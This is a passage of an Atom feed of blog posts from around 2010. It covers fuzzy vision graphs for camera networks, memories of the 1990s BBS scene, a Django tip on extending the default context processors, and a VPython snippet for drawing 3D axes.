&lt;p&gt;As far as getting back to the graph stuff, I defined an overlap metric involving the scalar cardinality, which could be used to derive the fuzzy vision graph from the discrete fuzzy coverage model; this is significant in that it indicates a direct link from the &lt;img src=&quot;http://s.wordpress.com/latex.php?latex=%5Cmu&amp;#038;bg=ffffff&amp;#038;fg=000000&amp;#038;s=0&quot; alt=&quot;\mu&quot; title=&quot;\mu&quot; class=&quot;latex&quot; /&gt; values of the edges all the way back to the basic parameters of the camera network and the scene (and we know where all the simplifications are). Even better, though, might be something more analytic and general, like using something along the lines of the &lt;a href=&quot;http://en.wikipedia.org/wiki/Hausdorff_distance&quot;&gt;Hausdorff distance&lt;/a&gt; between two cameras&amp;#8217; coverage models, which might not only allow us to find the fuzzy vision graph, but also start unifying it with the non-overlapping concept of the transition graph.&lt;/p&gt;
&lt;p&gt;Back to the future&amp;#8230;&lt;/p&gt;</content>
		<author>
			<name>Aaron Mavrinac</name>
			<uri>http://blog.mavrinac.com</uri>
		</author>
		<source>
			<title type="html">Aaron Mavrinac</title>
			<subtitle type="html">Your reality, sir, is lies and balderdash and I'm delighted to say that I have no grasp of it whatsoever.</subtitle>
			<link rel="self" href="http://blog.mavrinac.com/feed/"/>
			<id>http://blog.mavrinac.com/feed/</id>
			<updated>2012-01-24T17:00:07+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Old(ish) Computing Memories (1993?-1999)</title>
		<link href="http://www.allthingsexpounded.com/2010/04/oldish-computing-memories-1993-1999/"/>
		<id>http://www.allthingsexpounded.com/?p=1370</id>
		<updated>2010-04-22T16:22:16+00:00</updated>
		<content type="html">&lt;p&gt;While the 90&amp;#8242;s may seem like a long time ago for some, in the broader perspective, I came to the computing world quite late.&lt;/p&gt;
&lt;p&gt;My first computer was a 486 system that my brother gave me some time in the early to mid 1990&amp;#8242;s (most likely 1993 or 1994). It was running DOS, Win3.1, and OS/2.  My introduction to computer literacy was mainly driven by my desire to figure out how to run games on the system. I don&amp;#8217;t remember all of the games, but two in particular were Spear of Destiny (a spin-off of of the shooter Wolfenstein) and NHL 93 (and EA Sports hockey game).  With this motivation to  learn about the computer, I quickly picked up new things.&lt;/p&gt;
&lt;p&gt;On the grand scale of computing history, this was before e-mail caught up with postal mail in volume,  right around when Red Hat Linux was introduced, right around when  Mosaic released their web browser, and a few years before Apple had a product called &amp;#8220;Mac OS&amp;#8221;.&lt;/p&gt;
&lt;p&gt;It wasn&amp;#8217;t too long before I was introduced to the more social aspects of the computing subculture. A friend introduced me to the concept of Bulletin Board Systems (BBS) and I quickly became hooked to that too.  The best way to describe the BBS scene is perhaps as a localized Internet. A BBS was a little system that someone would run from their home and you could dial into it. A whole subculture developed. A BBS would usually have functionality to chat, post messages, upload/download files, play games, etc.&lt;/p&gt;
&lt;p&gt;Again, I must stress that I was a later-comer on the BBS scene. When I entered it, the BBS scene was probably somewhere slightly past its prime and starting its decline  (or, according to some, already well into it&amp;#8217;s decline). My first modem was technically a 2400 baud modem, but that device was so quirky that I never really did  much with it. So very soon I jumped up to a 14.4 modem, which seemed fast at the time but is really unbelievably slow.&lt;/p&gt;
&lt;p&gt;I called a bunch of BBS systems, possibly around 100 or more.  Many friendships formed through this medium, although they were probably not completely deep. I was pretty much a regular on the scene until 1999, when the scene had already pretty much died out. Where there were once hundreds of BBS&amp;#8217; in the Windsor area, at that point  there were only 5 or 10. Though I never really ran a full-time BBS, I was quite involved in the scene. I ran a couple of part time BBS&amp;#8217; and was co-sysop (assistant  admin) of at least 3 boards. I was co-sysop of Champagne&amp;#8217;s Island, Genesis, and Eternal Dreams. I called many a number of system and was thoroughly immersed in the underground BBS scene.&lt;/p&gt;
&lt;p&gt;For those interested, here are some of the BBS&amp;#8217; I called besides the  ones that have already been mentioned: The Dynamite BBS, Windsor  Footnote, Windsor Download, Czar&amp;#8217;s Land, The Beacon, Second Sinister,  Windsor ITC, Body Count BBS, The Abyss, Limbo BBS, Purple Haze, The Outhouse, The  Kombatant, and The Swamp.&lt;/p&gt;
&lt;p&gt;Just as things in the BBS scene began to fade away, I ran a low-resolution (ANSI/ASCII) art group which had five releases (one of which was released in my absence after I disappeared from the scene). There are so many other memories, aspects to this, much of which is probably not very well preserved or accessible. For all the efforts to relive the past, such as the &lt;a href=&quot;http://www.bbsdocumentary.com/&quot;&gt;BBS Documentary&lt;/a&gt;,  there are still large black holes in the records. Much of this past, even from the early to mid 1990&amp;#8242;s, has simply disappeared off the map,  so to speak.  It might be a good thing in some ways, and a bad thing in others ways.  Some of it here will return back here and there, but for the most part it is gone for good. It seems enough hard drives have died or been erased and memories forgotten in order for much of this socio-cultural history to disappear. And anything that is unearthed will be a small sliver of the whole narrative of what went on.&lt;/p&gt;
&lt;p&gt;While &amp;#8220;cyberspace&amp;#8221; certainly has evolved since then, many things for the better, there&amp;#8217;s clearly something different now, and, I think, something lost.   But as a whole, I don&amp;#8217;t think I&amp;#8217;d go backwards if I could. Technological change changes us, and nostalgia aside, we are not the same sort of people that enjoyed in the BBS scene back in the 80&amp;#8242;s and 90&amp;#8242;s.&lt;/p&gt;</content>
		<author>
			<name>Mark J. Nenadov</name>
			<uri>http://www.allthingsexpounded.com</uri>
		</author>
		<source>
			<title type="html">All Things Expounded » Technology</title>
			<link rel="self" href="http://www.allthingsexpounded.com/category/technology/feed/"/>
			<id>http://www.allthingsexpounded.com/category/technology/feed/</id>
			<updated>2012-02-06T13:00:09+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Django Context Processors Best Practice</title>
		<link href="http://blog.madpython.com/2010/04/07/django-context-processors-best-practice/"/>
		<id>http://blog.madpython.com/?p=61</id>
		<updated>2010-04-08T00:59:39+00:00</updated>
		<content type="html">&lt;p&gt;In this post, i&amp;#8217;ll show you a simple trick to ensure your Django context-processors don&amp;#8217;t break when Django 1.2 (and possibly future releases as well) is released.&lt;/p&gt;
&lt;p&gt;If you&amp;#8217;re not familiar with the concept of context-processors, I&amp;#8217;ll also explain what those are and how they work, so don&amp;#8217;t panic. Finally, i&amp;#8217;ll also spend a minute explaining why I consider this to be best-practice.&lt;/p&gt;
&lt;h2&gt;What are template context processors?&lt;/h2&gt;
&lt;p&gt;Django&amp;#8217;s context processors are a facility that allows you to provide data and callbacks to your templates.&lt;/p&gt;
&lt;p&gt;You can do so in one of two ways:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;On an individual request basis&lt;/strong&gt;: by passing a custom &lt;code&gt;Context&lt;/code&gt; value to your &lt;code&gt;render_to_response()&lt;/code&gt; call&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Globally&lt;/strong&gt;: by creating a &lt;em&gt;context processor method&lt;/em&gt; that accepts a &lt;code&gt;HttpRequest&lt;/code&gt; object as input, and returns a payload or callback, &lt;strong&gt;then&lt;/strong&gt; registering the context processor in your &lt;code&gt;settings.py&lt;/code&gt;, &lt;strong&gt;then&lt;/strong&gt; providing your &lt;code&gt;render_to_response()&lt;/code&gt; call with the built-in &lt;code&gt;RequestContext&lt;/code&gt; attribute instead of your own (you can always extend &lt;code&gt;RequestContext&lt;/code&gt; to add more data on an individual request basis of course).&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If that approach for passing data to templates sounded absurd and obfuscated to you, you&amp;#8217;re not alone. The complexity involved in such a simple operation is unwarranted and counter-productive, but every system has its shortcomings.&lt;/p&gt;
&lt;h2&gt;The Issue&lt;/h2&gt;
&lt;p&gt;If you follow the &lt;a href=&quot;http://docs.djangoproject.com/en/dev/ref/templates/api/#id1&quot;&gt;Django documentation&lt;/a&gt; or &lt;a href=&quot;http://djangobook.com/en/2.0/&quot;&gt;The Django Book&lt;/a&gt;&amp;#8216;s approach to configuring your own custom context-processors, you&amp;#8217;ll notice that you are encouraged to add to your settings.py a hardcoded list of built-in context processors. If you follow that approach, your context-processors declaration will look like this:&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;python&quot;&gt;TEMPLATE_CONTEXT_PROCESSORS = &lt;span&gt;&amp;#40;&lt;/span&gt;&lt;span&gt;&amp;quot;django.contrib.auth.context_processors.auth&amp;quot;&lt;/span&gt;,
&lt;span&gt;&amp;quot;django.core.context_processors.debug&amp;quot;&lt;/span&gt;,
&lt;span&gt;&amp;quot;django.core.context_processors.i18n&amp;quot;&lt;/span&gt;,
&lt;span&gt;&amp;quot;django.core.context_processors.media&amp;quot;&lt;/span&gt;,
&lt;span&gt;&amp;quot;django.contrib.messages.context_processors.messages&amp;quot;&lt;/span&gt;&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;But if you pay close attention to &lt;a href=&quot;http://docs.djangoproject.com/en/dev/ref/settings/#template-context-processors&quot;&gt;the development version&amp;#8217;s documentation&lt;/a&gt;, you&amp;#8217;ll notice a couple of interesting notes:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Changed in Django Development version: &lt;/strong&gt;&amp;#8220;django.contrib.messages.context_processors.messages&amp;#8221; was added to the default. For more information, see the messages documentation.&lt;br /&gt;
&lt;strong&gt;Changed in Django Development version&lt;/strong&gt;: The auth context processor was moved in this release from its old location django.core.context_processors.auth to django.contrib.auth.context_processors.auth.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;This is a red flag! The Django dev team would like you to use hardcoded values that reference to classes that will no longer exist once the next version is released, and that omit new processors that you are likely to require.&lt;/p&gt;
&lt;h2&gt;The Solution&lt;/h2&gt;
&lt;p&gt;Obviously Django has access to its own default settings, so there must be a way to simply &lt;em&gt;extend&lt;/em&gt; the defaults instead of overriding them with hardcoded values. You just need to dig around a bit in &lt;a href=&quot;http://code.djangoproject.com/browser/django/trunk/django/conf/global_settings.py#L186&quot;&gt;the Django source code&lt;/a&gt; to find exactly how. I&amp;#8217;ll save you some digging:&lt;/p&gt;
&lt;p&gt;Add this at the top of your settings.py file:&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;python&quot;&gt;&lt;span&gt;import&lt;/span&gt; django.&lt;span&gt;conf&lt;/span&gt;.&lt;span&gt;global_settings&lt;/span&gt; &lt;span&gt;as&lt;/span&gt; DEFAULT_SETTINGS&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then extend the default context processors:&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;python&quot;&gt;TEMPLATE_CONTEXT_PROCESSORS = DEFAULT_SETTINGS.&lt;span&gt;TEMPLATE_CONTEXT_PROCESSORS&lt;/span&gt; + &lt;span&gt;&amp;#40;&lt;/span&gt;
&lt;span&gt;&amp;quot;myapp.context_processors.example&amp;quot;&lt;/span&gt;,
&lt;span&gt;&amp;quot;myapp.context_processors.other_example&amp;quot;&lt;/span&gt;,
&lt;span&gt;# etc...&lt;/span&gt;
&lt;span&gt;&amp;#41;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2&gt;Why is this a best-practice approach?&lt;/h2&gt;
&lt;p&gt;In software-engineering, you want to ensure maximum (reasonable) future interoperability of all your components, and there is really no component as important as your actual development framework, Django or otherwise.&lt;/p&gt;
&lt;p&gt;Using hardcoded values that are already defined somewhere not only breaks &lt;acronym title=&quot;Don't Repeat Yourself&quot;&gt;DRY&lt;/acronym&gt;, but it also introduces possible breakage on framework upgrades. I know you are diligent and always read the release notes before upgrading critical components, and I know you use a staging environment to test those changes, but by actively looking out for this kind of traps, you have just saved yourself some debugging time and some head-scratching.&lt;/p&gt;
&lt;p&gt;Happy coding!&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;a2a_button_reddit&quot; href=&quot;http://www.addtoany.com/add_to/reddit?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F04%2F07%2Fdjango-context-processors-best-practice%2F&amp;amp;linkname=Django%20Context%20Processors%20Best%20Practice&quot; title=&quot;Reddit&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/reddit.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Reddit&quot; /&gt;&lt;/a&gt;&lt;a class=&quot;a2a_button_delicious&quot; href=&quot;http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F04%2F07%2Fdjango-context-processors-best-practice%2F&amp;amp;linkname=Django%20Context%20Processors%20Best%20Practice&quot; title=&quot;Delicious&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/delicious.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Delicious&quot; /&gt;&lt;/a&gt;&lt;a class=&quot;a2a_button_google_bookmarks&quot; href=&quot;http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F04%2F07%2Fdjango-context-processors-best-practice%2F&amp;amp;linkname=Django%20Context%20Processors%20Best%20Practice&quot; title=&quot;Google Bookmarks&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/google.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Google Bookmarks&quot; /&gt;&lt;/a&gt;&lt;a class=&quot;a2a_button_facebook&quot; href=&quot;http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F04%2F07%2Fdjango-context-processors-best-practice%2F&amp;amp;linkname=Django%20Context%20Processors%20Best%20Practice&quot; title=&quot;Facebook&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/facebook.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Facebook&quot; /&gt;&lt;/a&gt;&lt;a class=&quot;a2a_button_stumbleupon&quot; href=&quot;http://www.addtoany.com/add_to/stumbleupon?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F04%2F07%2Fdjango-context-processors-best-practice%2F&amp;amp;linkname=Django%20Context%20Processors%20Best%20Practice&quot; title=&quot;StumbleUpon&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/stumbleupon.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;StumbleUpon&quot; /&gt;&lt;/a&gt;&lt;a class=&quot;a2a_button_linkedin&quot; href=&quot;http://www.addtoany.com/add_to/linkedin?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F04%2F07%2Fdjango-context-processors-best-practice%2F&amp;amp;linkname=Django%20Context%20Processors%20Best%20Practice&quot; title=&quot;LinkedIn&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/linkedin.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;LinkedIn&quot; /&gt;&lt;/a&gt;&lt;a class=&quot;a2a_button_twitter&quot; href=&quot;http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.madpython.com%2F2010%2F04%2F07%2Fdjango-context-processors-best-practice%2F&amp;amp;linkname=Django%20Context%20Processors%20Best%20Practice&quot; title=&quot;Twitter&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://blog.madpython.com/wp-content/plugins/add-to-any/icons/twitter.png&quot; width=&quot;16&quot; height=&quot;16&quot; alt=&quot;Twitter&quot; /&gt;&lt;/a&gt;&lt;a class=&quot;a2a_dd a2a_target addtoany_share_save&quot; href=&quot;http://www.addtoany.com/share_save#url=http%3A%2F%2Fblog.madpython.com%2F2010%2F04%2F07%2Fdjango-context-processors-best-practice%2F&amp;amp;title=Django%20Context%20Processors%20Best%20Practice&quot; id=&quot;wpa2a_12&quot;&gt;Share&lt;/a&gt;&lt;/p&gt;&lt;p&gt;No related posts.&lt;/p&gt;</content>
		<author>
			<name>Xavier Spriet</name>
			<uri>http://blog.madpython.com</uri>
		</author>
		<source>
			<title type="html">Mad Python</title>
			<subtitle type="html">Watch out.. he's angry</subtitle>
			<link rel="self" href="http://blog.madpython.com/feed/"/>
			<id>http://blog.madpython.com/feed/</id>
			<updated>2012-02-06T10:00:05+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Axes of Evil</title>
		<link href="http://blog.mavrinac.com/2010/03/axes-of-evil/"/>
		<id>http://blog.mavrinac.com/?p=147</id>
		<updated>2010-03-23T01:22:46+00:00</updated>
		<content type="html">&lt;p&gt;A quick and dirty set of 3D axes for &lt;a href=&quot;http://vpython.org/&quot;&gt;Visual&lt;/a&gt;:&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;div class=&quot;code&quot;&gt;&lt;pre class=&quot;python&quot;&gt;&lt;span&gt;from&lt;/span&gt; visual &lt;span&gt;import&lt;/span&gt; arrow, cylinder
&amp;nbsp;
&lt;span&gt;def&lt;/span&gt; visual_axes&lt;span&gt;&amp;#40;&lt;/span&gt; scale &lt;span&gt;&amp;#41;&lt;/span&gt;:
    &lt;span&gt;&amp;quot;&amp;quot;&amp;quot;&lt;span&gt;\&lt;/span&gt;
    Display a set of 3D axes.
&amp;nbsp;
    @param scale: The scale of the axis set.
    @type scale: C{float}
    &amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
    &lt;span&gt;for&lt;/span&gt; axis &lt;span&gt;in&lt;/span&gt; &lt;span&gt;&amp;#91;&lt;/span&gt; &lt;span&gt;tuple&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt; &lt;span&gt;&amp;#91;&lt;/span&gt; i == j &lt;span&gt;and&lt;/span&gt; scale &lt;span&gt;*&lt;/span&gt; &lt;span&gt;5&lt;/span&gt; &lt;span&gt;or&lt;/span&gt; &lt;span&gt;0&lt;/span&gt; &lt;span&gt;for&lt;/span&gt; i &lt;span&gt;in&lt;/span&gt; &lt;span&gt;range&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt; &lt;span&gt;3&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt; &lt;span&gt;&amp;#93;&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt; \
                  &lt;span&gt;for&lt;/span&gt; j &lt;span&gt;in&lt;/span&gt; &lt;span&gt;range&lt;/span&gt;&lt;span&gt;&amp;#40;&lt;/span&gt; &lt;span&gt;3&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt; &lt;span&gt;&amp;#93;&lt;/span&gt;:
        arrow&lt;span&gt;&amp;#40;&lt;/span&gt; pos = &lt;span&gt;&amp;#40;&lt;/span&gt; &lt;span&gt;0&lt;/span&gt;, &lt;span&gt;0&lt;/span&gt;, &lt;span&gt;0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;, axis = axis, shaftwidth = scale / &lt;span&gt;10.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;
&amp;nbsp;
    cylinder&lt;span&gt;&amp;#40;&lt;/span&gt; pos = &lt;span&gt;&amp;#40;&lt;/span&gt; &lt;span&gt;&amp;#40;&lt;/span&gt; scale &lt;span&gt;*&lt;/span&gt; &lt;span&gt;6.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;, -&lt;span&gt;&amp;#40;&lt;/span&gt; scale / &lt;span&gt;4.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;, &lt;span&gt;0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;,
              axis = &lt;span&gt;&amp;#40;&lt;/span&gt; -&lt;span&gt;&amp;#40;&lt;/span&gt; scale / &lt;span&gt;2.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;, &lt;span&gt;&amp;#40;&lt;/span&gt; scale / &lt;span&gt;2.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;, &lt;span&gt;0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;,
              radius = scale / &lt;span&gt;20.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;
    cylinder&lt;span&gt;&amp;#40;&lt;/span&gt; pos = &lt;span&gt;&amp;#40;&lt;/span&gt; scale &lt;span&gt;*&lt;/span&gt; &lt;span&gt;5.5&lt;/span&gt;, -&lt;span&gt;&amp;#40;&lt;/span&gt; scale / &lt;span&gt;4.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;, &lt;span&gt;0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;,
              axis = &lt;span&gt;&amp;#40;&lt;/span&gt; &lt;span&gt;&amp;#40;&lt;/span&gt; scale / &lt;span&gt;2.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;, &lt;span&gt;&amp;#40;&lt;/span&gt; scale / &lt;span&gt;2.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;, &lt;span&gt;0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;,
              radius = scale / &lt;span&gt;20.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;
&amp;nbsp;
    cylinder&lt;span&gt;&amp;#40;&lt;/span&gt; pos = &lt;span&gt;&amp;#40;&lt;/span&gt; &lt;span&gt;0&lt;/span&gt;, &lt;span&gt;&amp;#40;&lt;/span&gt; scale &lt;span&gt;*&lt;/span&gt; &lt;span&gt;5.5&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;, &lt;span&gt;0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;,
              axis = &lt;span&gt;&amp;#40;&lt;/span&gt; &lt;span&gt;0&lt;/span&gt;, &lt;span&gt;&amp;#40;&lt;/span&gt; scale / &lt;span&gt;4.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;, &lt;span&gt;0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;,
              radius = scale / &lt;span&gt;20.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;
    cylinder&lt;span&gt;&amp;#40;&lt;/span&gt; pos = &lt;span&gt;&amp;#40;&lt;/span&gt; &lt;span&gt;0&lt;/span&gt;, &lt;span&gt;&amp;#40;&lt;/span&gt; scale &lt;span&gt;*&lt;/span&gt; &lt;span&gt;5.75&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;, &lt;span&gt;0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;,
              axis = &lt;span&gt;&amp;#40;&lt;/span&gt; -&lt;span&gt;&amp;#40;&lt;/span&gt; scale &lt;span&gt;*&lt;/span&gt; &lt;span&gt;0.17&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;, &lt;span&gt;&amp;#40;&lt;/span&gt; scale / &lt;span&gt;4.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;, &lt;span&gt;&amp;#40;&lt;/span&gt; scale &lt;span&gt;*&lt;/span&gt; &lt;span&gt;0.17&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;,
              radius = scale / &lt;span&gt;20.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;
    cylinder&lt;span&gt;&amp;#40;&lt;/span&gt; pos = &lt;span&gt;&amp;#40;&lt;/span&gt; &lt;span&gt;0&lt;/span&gt;, &lt;span&gt;&amp;#40;&lt;/span&gt; scale &lt;span&gt;*&lt;/span&gt; &lt;span&gt;5.75&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;, &lt;span&gt;0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;,
              axis = &lt;span&gt;&amp;#40;&lt;/span&gt; &lt;span&gt;&amp;#40;&lt;/span&gt; scale &lt;span&gt;*&lt;/span&gt; &lt;span&gt;0.17&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;, &lt;span&gt;&amp;#40;&lt;/span&gt; scale / &lt;span&gt;4.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;, -&lt;span&gt;&amp;#40;&lt;/span&gt; scale &lt;span&gt;*&lt;/span&gt; &lt;span&gt;0.17&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;,
              radius = scale / &lt;span&gt;20.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;
&amp;nbsp;
    cylinder&lt;span&gt;&amp;#40;&lt;/span&gt; pos = &lt;span&gt;&amp;#40;&lt;/span&gt; &lt;span&gt;0&lt;/span&gt;, -&lt;span&gt;&amp;#40;&lt;/span&gt; scale / &lt;span&gt;4.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;, &lt;span&gt;&amp;#40;&lt;/span&gt; scale &lt;span&gt;*&lt;/span&gt; &lt;span&gt;6.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;,
              axis = &lt;span&gt;&amp;#40;&lt;/span&gt; &lt;span&gt;0.0&lt;/span&gt;, &lt;span&gt;&amp;#40;&lt;/span&gt; scale / &lt;span&gt;2.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;, -&lt;span&gt;&amp;#40;&lt;/span&gt; scale / &lt;span&gt;2.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;,
              radius = scale / &lt;span&gt;20.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;
    cylinder&lt;span&gt;&amp;#40;&lt;/span&gt; pos = &lt;span&gt;&amp;#40;&lt;/span&gt; &lt;span&gt;0&lt;/span&gt;, -&lt;span&gt;&amp;#40;&lt;/span&gt; scale / &lt;span&gt;4.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;, &lt;span&gt;&amp;#40;&lt;/span&gt; scale &lt;span&gt;*&lt;/span&gt; &lt;span&gt;6.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;,
              axis = &lt;span&gt;&amp;#40;&lt;/span&gt; &lt;span&gt;0.0&lt;/span&gt;, &lt;span&gt;0.0&lt;/span&gt;, -&lt;span&gt;&amp;#40;&lt;/span&gt; scale / &lt;span&gt;2.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;,
              radius = scale / &lt;span&gt;20.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;
    cylinder&lt;span&gt;&amp;#40;&lt;/span&gt; pos = &lt;span&gt;&amp;#40;&lt;/span&gt; &lt;span&gt;0&lt;/span&gt;, &lt;span&gt;&amp;#40;&lt;/span&gt; scale / &lt;span&gt;4.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;, &lt;span&gt;&amp;#40;&lt;/span&gt; scale &lt;span&gt;*&lt;/span&gt; &lt;span&gt;6.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;,
              axis = &lt;span&gt;&amp;#40;&lt;/span&gt; &lt;span&gt;0.0&lt;/span&gt;, &lt;span&gt;0.0&lt;/span&gt;, -&lt;span&gt;&amp;#40;&lt;/span&gt; scale / &lt;span&gt;2.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;,
              radius = scale / &lt;span&gt;20.0&lt;/span&gt; &lt;span&gt;&amp;#41;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Yep, this is how I&amp;#8217;m validating my geometry module by eye.&lt;/p&gt;</content>
		<author>
			<name>Aaron Mavrinac</name>
			<uri>http://blog.mavrinac.com</uri>
		</author>
		<source>
			<title type="html">Aaron Mavrinac</title>
			<subtitle type="html">Your reality, sir, is lies and balderdash and I'm delighted to say that I have no grasp of it whatsoever.</subtitle>
			<link rel="self" href="http://blog.mavrinac.com/feed/"/>
			<id>http://blog.mavrinac.com/feed/</id>
			<updated>2012-01-24T17:00:07+00:00</updated>
		</source>
	</entry>

	<entry xml:lang="en">
		<title type="html">Topology, To What End?</title>
		<link href="http://blog.mavrinac.com/2010/03/topology-to-what-end/"/>
		<id>http://blog.mavrinac.com/?p=142</id>
		<updated>2010-03-19T16:04:12+00:00</updated>
		<content type="html">&lt;p&gt;There have been a number of approaches to build topological models of multi-camera networks. The idea is to represent, in some useful and relatively simple mathematical way, the relationship &amp;#8212; usually meaning the overlap &amp;#8212; between the fields of view of the cameras. To date, it seems as though all such methods fall into two basic types.&lt;/p&gt;
